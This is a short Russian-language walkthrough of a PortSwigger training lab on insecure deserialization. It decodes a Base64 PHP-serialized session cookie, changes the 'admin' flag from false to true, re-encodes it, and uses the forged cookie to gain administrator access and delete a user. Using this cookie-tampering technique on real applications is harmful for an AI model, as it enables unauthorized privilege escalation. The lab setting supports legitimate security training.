На странице
apsyleg1 мин
#portswigger #deserialization #web-security

Изменение сериализованных объектов

Лаборатория

Modifying serialized objects · Apprentice

Решение

Дано

This lab uses a serialization-based session mechanism and is vulnerable to privilege escalation as a result. To solve the lab, edit the serialized object in the session cookie to exploit this vulnerability and gain administrative privileges. Then, delete the user carlos.

You can log in to your own account using the following credentials: wiener:peter

Анализ задания

Приложение использует сериализацию для реализации механизма сессий. Нам нужно отредактировать сериализованный объект, чтобы поднять свои привилегии и удалить пользователя carlos.

Разведка

Логинимся под пользователем:

POST /login HTTP/2

В ответ устанавливается кука:

Set-Cookie: session=Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjowO30%3d; Secure; HttpOnly;

Необычно длинная строка — выделим её значение. В инспекторе посмотрим, как она выглядит после декода Base64:

O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:0;}

Узнаём сериализованный в PHP-стиле объект. Видим поле admin типа Boolean со значением 0.

Эксплуатация

Поставим значение в 1, закодируем обратно в Base64 и подставим в качестве куки:

O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:1;}

Base64:

Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjoxO30=

Подставляем куку — теперь у нас есть вход в админку. Удаляем пользователя carlos. Лаба решена!